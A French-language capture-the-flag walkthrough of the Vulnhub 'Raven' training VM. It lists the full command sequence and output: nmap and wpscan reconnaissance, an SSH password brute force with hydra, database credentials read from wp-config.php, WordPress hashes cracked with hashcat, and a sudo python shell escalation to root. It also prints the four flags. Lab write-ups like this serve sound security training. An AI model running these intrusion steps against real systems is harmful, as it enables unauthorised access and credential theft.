Pour changer un peu des challenges root-me, Newbie, ... je me suis penché sur Vulnhub et ses Vulnerables VM ENJOY
Objectif : Être root et obtenir les 4 flags
NOTES : Durant le pentest je me suis aperçue que des fichiers web pour bien fonctionner pointait sur l'adresse raven.local (n'oubliez pas de l'ajouter dans votre fichier hosts de votre machine)
1- Prise d'Information
La première phase étant l'OSINT, il faut dans un premier temps déterminer l'adresse IP de la machine virtuelle (les VM sont en NAT)
netdiscover
5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 300
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.239.2 00:50:56:fc:f9:36 2 120 VMware, Inc.
192.168.239.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.239.130 00:0c:29:fb:cc:c6 1 60 VMware, Inc.
192.168.239.254 00:50:56:e9:41:a0 1 60 VMware, Inc.
OK l'adresse IP de la cible est 192.168.239.130
Un petit scan pour avoir les services et les version avec l'OS
nmap 192.168.239.130 -p 1-10000 -sV --version-all -O --osscan-guess -oN Raven-Scan.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
MAC Address: 00:0C:29:FB:CC:C6 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On à donc du SSH, HTTP et RPC, une énumeration de directories web s'impose
dirb http://192.168.239.130
==> DIRECTORY: http://192.168.239.130/vendor/
==> DIRECTORY: http://192.168.239.130/wordpress/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/maint/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/network/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/user/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-content/plugins/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-content/themes/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-content/upgrade/
....
Donc le CMS est Wordpress, un scan du CMS, de ses plugins/thèmes vulnérables et de ses utilisateurs via wpscan
wpscan --url http://192.168.239.130/wordpress --wp-content-dir /wordpress --enumerate vp,vt,u
[+] http://192.168.239.130/wordpress/
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://192.168.239.130/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://192.168.239.130/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 4.8.8 identified (Latest, released on 2018-12-13).
| Detected By: Emoji Settings (Passive Detection)
| - http://192.168.239.130/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.8.8'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.239.130/wordpress/, Match: 'WordPress 4.8.8'
[i] The main theme could not be detected.
[+] Enumerating Vulnerable Plugins
[i] No plugins Found.
[+] Enumerating Vulnerable Themes
Checking Known Locations - Time: 00:00:00 <==============================================================================================================================================================> (288 / 288) 100.00% Time: 00:00:00
[i] No themes Found.
[+] Enumerating Config Backups
Checking Config Backups - Time: 00:00:00 <=================================================================================================================================================================> (21 / 21) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Enumerating DB Exports
Checking DB Exports - Time: 00:00:00 <=====================================================================================================================================================================> (36 / 36) 100.00% Time: 00:00:00
[i] No DB Exports Found.
[+] Enumerating Users
Brute Forcing Author IDs - Time: 00:00:00 <================================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] michael
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] steven
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Pas de plugins mais on a la version du wordpress qui selon www.cvedetails.com est ... vulnerable avec xmlrpc.php :)
Ah oui et on à aussi 2 utilisateurs
LA CHAAAAAAANCE
l'URL http://raven.local/vendor/ est en index of
Hmmmm si on regarde ça de plus prêt ..
$curl http://raven.local/vendor/VERSION
5.2.16
$curl http://raven.local/vendor/SECURITY.md
PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability
$curl http://raven.local/vendor/PATH
/var/www/html/vendor/
Pour couronner le tout un dernier scan nmap en utilisant les scripts nse (Avec les informations acquises, il faut choisir les scripts à effectuer)
ls /usr/share/nmap/scripts/ | grep rpc
metasploit-xmlrpc-brute.nse
msrpc-enum.nse
nessus-xmlrpc-brute.nse
rpcap-brute.nse
rpcinfo.nse
xmlrpc-methods.nse
ls /usr/share/nmap/scripts/ | grep wordpress
http-wordpress-brute.nse
http-wordpress-enum.nse
http-wordpress-users.nse
ls /usr/share/nmap/scripts/ | grep ssh
ssh-auth-methods.nse
sshv1.nse
Ça fait une jolie petite liste à essayer
nmap 192.168.239.130 -Pn -p 22,80,111 --script metasploit-xmlrpc-brute.nse,msrpc-enum.nse,nessus-xmlrpc-brute.nse,rpcap-brute.nse,rpcinfo.nse,xmlrpc-methods.nse,http-wordpress-brute.nse,http-wordpress-enum.nse,http-wordpress-users.nse,ssh-auth-methods.nse,sshv1.nse
PORT STATE SERVICE
22/tcp open ssh
| ssh-auth-methods:
| Supported authentication methods:
| publickey
|_ password
80/tcp open http
111/tcp open rpcbind
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 44044/tcp status
|_ 100024 1 56113/udp status
MAC Address: 00:0C:29:FB:CC:C6 (VMware)
Pas d'info à propos des script rpc et wordpress (nous reviendront dessus dans la phase d'exploitation)
2- Exploitation
Le port SSH étant ouvert un tentative via bruteforce sur les utilisateurs michael et steven est possible
$hydra -l michael -P /usr/share/wordlists/rockyou.txt ssh://192.168.239.130
[DATA] attacking ssh://192.168.239.130:22/
[22][ssh] host: 192.168.239.130 login: michael password: michael
1 of 1 target successfully completed, 1 valid password found
Un accès shell à la machine est désormais possible sous l'utilisateur michael (Au passage on trouve le flag N°1 et N°2)
$ssh michael@192.168.239.130
$id
uid=1000(michael) gid=1000(michael)
$find / -name "*flag*txt" 2> /dev/null
/var/www/flag2.txt
$cat /var/www/flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
$cd /var/www/html
$egrep -r "flag[1-4]"
service.html: <!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->
En regardant la configuration de wordpress on obtient le pass root de mysql (OMG Cette misconfiguration)
cat /var/www/html/wordpress/wp-config.php
...
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
...
mysql -u root -pR@v3nSecurity
En fouillant dans les tables on remarques certaines informations intéressantes
select * from wp_users;
nickname | michael
wp_capabilities | a:1:{s:13:"administrator";b:1;}
michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
2 hash avec un salt, analysons ça de prêt (et bruteforce ça de loin)
$touch hash.txt
$echo "$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/" > hash.txt
$echo "$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0" >> hash.txt
$hashid -e hash.txt
--File 'hash.txt'--
Analyzing '$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/'
[+] Wordpress ≥ v2.6.2
[+] Joomla ≥ v2.5.18
[+] PHPass' Portable Hash
Analyzing '$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0'
[+] Wordpress ≥ v2.6.2
[+] Joomla ≥ v2.5.18
[+] PHPass' Portable Hash
$hashcat -m 400 -m 400 hash.txt usr/share/wordlists/rockyou.txt
$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/:pink84
Miracle le mot de passe de steven est pink84
En se connectons à l'interface wordpress nous remarquons qu'un poste est dans les brouillon et ...
Bingo le 3eme flag ! plus qu'un :)
En se connectant en ssh avec le compte de steven nous faisons une recherche de programme en SUID
$find / -perm -4000 -print 2> /dev/n
/bin/mount
/bin/umount
/bin/su
/usr/bin/procmail
...
Hmm dommage rien à part les binaires systèmes ... en analysant la liste sudo de steven quelque chose de dangereux apparaît
$sudo -l
User steven may run the following commands on raven:
(ALL) NOPASSWD: /usr/bin/python
Woaaaw un appel a python en root sans password (OMG cette misconfiguration again) Appelons un shell via python via sudo
$sudo python -c 'import pty; pty.spawn("/bin/sh")'
$id
uid=0(root) gid=0(root) groups=0(root)
Nous voila root sur la VM allons à la recherche du dernier flag
$find / -name "*flag4*"
/root/flag4.txt
$cat /root/flag4.txt
flag4{715dea6c055b9fe3337544932f2941ce}
CONGRATULATIONS on successfully rooting Raven!
Nous avons les 4 flags et loggué en root MISSION ACCOMPLIE :)
flag1{b9bbcb33e11b80be759c4e844862482d}
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
flag3{afc01ab56b50591e7dccf93122770cd}
flag4{715dea6c055b9fe3337544932f2941ce}
Cette VM est sympa pour commencer, elle dispose de faille assez simple mais non explicite (elle ne vous sauterons pas au yeux directement) un petit travail de recherche s'impose (Je l'ai fais en 5h)
Apparemment il existe 2 moyen d'être root sur la VM l'autre méthode concerne sûrement des exploit web que je n'ai pas exploiter